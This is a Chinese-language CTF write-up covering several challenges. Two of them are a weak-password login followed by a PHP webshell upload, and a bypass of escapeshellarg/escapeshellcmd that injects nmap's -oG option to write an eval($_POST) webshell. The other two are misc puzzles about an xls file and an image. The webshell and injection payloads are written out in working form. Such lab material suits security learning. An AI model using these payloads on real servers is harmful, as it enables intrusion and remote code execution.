
[LitCTF 2023]作业管理系统
交作业!!但是哪里不对?
出题人 探姬
第一眼 登陆框 必然是试一试 弱口令

可以看到包是admin:admin的啊,之后在源代码也看到了 一个 admin admin 猜想没错
进入之后 很多功能点啊
直接文件上传 php木马 没想到这么简单

payloads
1 2 3
| post参数 cmd=system('cat /flag*');
|
[BJDCTF2020]认真你就输了
拿到了一个xls,一般这种办公软件里面第一步就是查一些字符串

果然第一条就看到一个flag.txt,同时我们知道其实这种xls的文件基本都是一些zip压缩包格式
你打开文件格式看看也会发现他就是个zip文件格式,修改成zip后缀之后就可以根据目录找到flag

[MRCTF2020]ezmisc
直接修改宽高,将高拉长


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ```text 单引号 ('):转义为 \'。 双引号 ("):转义为 \"。 反斜杠 (\):转义为 \\。 美元符号 ($):转义为 \$。 反引号 (`):转义为 ``````。 感叹号 (!):转义为 \!。 分号 (;):转义为 \;。 大于号 (>):转义为 \>。 小于号 (<):转义为 \<。 垂直线 (|):转义为 \|。 与号 (&):转义为 \&。 空格 ( ):转义为 \ 。
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了 '172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
|
1 2 3 4 5 6
| isset($_SERVER['HTTP_X_FORWARDED_FOR'])`**: - 检查是否存在HTTP请求头`X-Forwarded-For`。这个头部通常由代理服务器添加,用于标识客户端的原始IP地址。 $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; - 如果`X-Forwarded-For`存在,则将`$_SERVER['REMOTE_ADDR']`设置为其值。通常,`$_SERVER['REMOTE_ADDR']`包含直接连接到服务器的IP地址,而不是原始客户端的IP地址。
|
通常在代理服务器上使用xff
这道题其实这个xff没有用,最主要还是两个php转义函数的绕过,但是问题就出现在
system函数里拼接了nmap的指令字符串。nmap中的-oG参数可以将代码与命令写到文件中,比如nmap -oG 1.php从而像一个文件包含的日志注入一样
PAYLOADS
1 2
| ?host='127.0.0.1 <?php eval($_POST["cmd"]);?> -oG 1.php '
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 如果我们直接传入这个,只会被当成字符串无法写入马 那么我们在传入参数的前面添加单引号,后面空格加单引号
'127.0.0.1 <?php @eval();?> -oG hack.php '
传进去后变成
''127.0.0.1 <?php @eval();?> -oG hack.php ''
经过escapeshellarg函数处理
'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''
经过escapeshellcmd函数处理
''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''
执行结果会对目标\127.0.0.1发送命令<?php @eval();?> -oG hack.php \写入文件
|
注意最后的空格,不然后缀可能发生变化。